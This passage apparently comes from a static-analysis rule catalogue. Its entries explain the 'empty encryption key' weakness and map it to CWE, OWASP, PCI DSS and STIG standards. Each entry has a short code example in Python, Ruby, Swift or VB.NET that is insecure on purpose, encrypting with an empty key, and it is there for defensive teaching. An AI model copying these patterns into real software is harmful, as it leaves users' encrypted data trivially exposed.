[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.sql.key_management_empty_encryption_key
Abstract
Empty encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to use an empty encryption key. Not only does using an empty encryption key significantly reduce the protection afforded by a good encryption algorithm, but it also makes fixing the problem extremely difficult. After the offending code is in production, the empty encryption key cannot be changed without patching the software. If an account protected by the empty encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code initializes an encryption key variable to an empty string.

...
from Crypto.Ciphers import AES
cipher = AES.new("", AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...


Not only will anyone who has access to the code be able to determine that it uses an empty encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the program ships, a software patch is required to change the empty encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty encryption key.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.python.key_management_empty_encryption_key
Abstract
Empty encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to use an empty encryption key. Not only does using an empty encryption key significantly reduce the protection afforded by a good encryption algorithm, but it also makes fixing the problem extremely difficult. After the offending code is in production, the empty encryption key cannot be changed without patching the software. If an account protected by the empty encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code uses a password-based key derivation function with a key length of zero, which produces an empty encryption key:


require 'openssl'
...
dk = OpenSSL::PKCS5::pbkdf2_hmac_sha1(password, salt, 100000, 0) # returns an empty string
...


Not only will anyone who has access to the code be able to determine that it uses an empty encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the program ships, a software patch is required to change the empty encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty encryption key.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.ruby.key_management_empty_encryption_key
Abstract
Empty encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to use an empty encryption key. Not only does using an empty encryption key significantly reduce the protection afforded by a good encryption algorithm, but it also makes fixing the problem extremely difficult. After the offending code is in production, the empty encryption key cannot be changed without patching the software. If an account protected by the empty encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code performs AES encryption using an empty encryption key:


...
CCCrypt(UInt32(kCCEncrypt),
UInt32(kCCAlgorithmAES128),
UInt32(kCCOptionPKCS7Padding),
"",
0,
iv,
plaintext,
plaintext.length,
ciphertext.mutableBytes,
ciphertext.length,
&numBytesEncrypted)
...


Not only will anyone who has access to the code be able to determine that it uses an empty encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the program ships, a software patch is required to change the empty encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty encryption key.
References
[1] Encrypting Your App's Files Apple
[2] Standards Mapping - Common Weakness Enumeration CWE ID 321
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[10] Standards Mapping - FIPS200 IA
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[15] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[16] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[17] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[18] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[19] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.swift.key_management_empty_encryption_key
Abstract
Empty encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to use an empty encryption key because it significantly reduces the protection afforded by a good encryption algorithm, and it also makes fixing the problem extremely difficult. After the offending code is in production, the empty encryption key cannot be changed without patching the software. If an account that is protected by the empty encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code performs AES encryption using an empty encryption key:


...
Dim encryptionKey As String
Set encryptionKey = ""
Dim AES As New System.Security.Cryptography.RijndaelManaged
On Error GoTo ErrorHandler
  AES.Key = System.Text.Encoding.ASCII.GetBytes(encryptionKey)
  ...
Exit Sub
...


Not only will anyone who has access to the code be able to determine that it uses an empty encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the application has shipped, a software patch is required to change the empty encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty encryption key.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
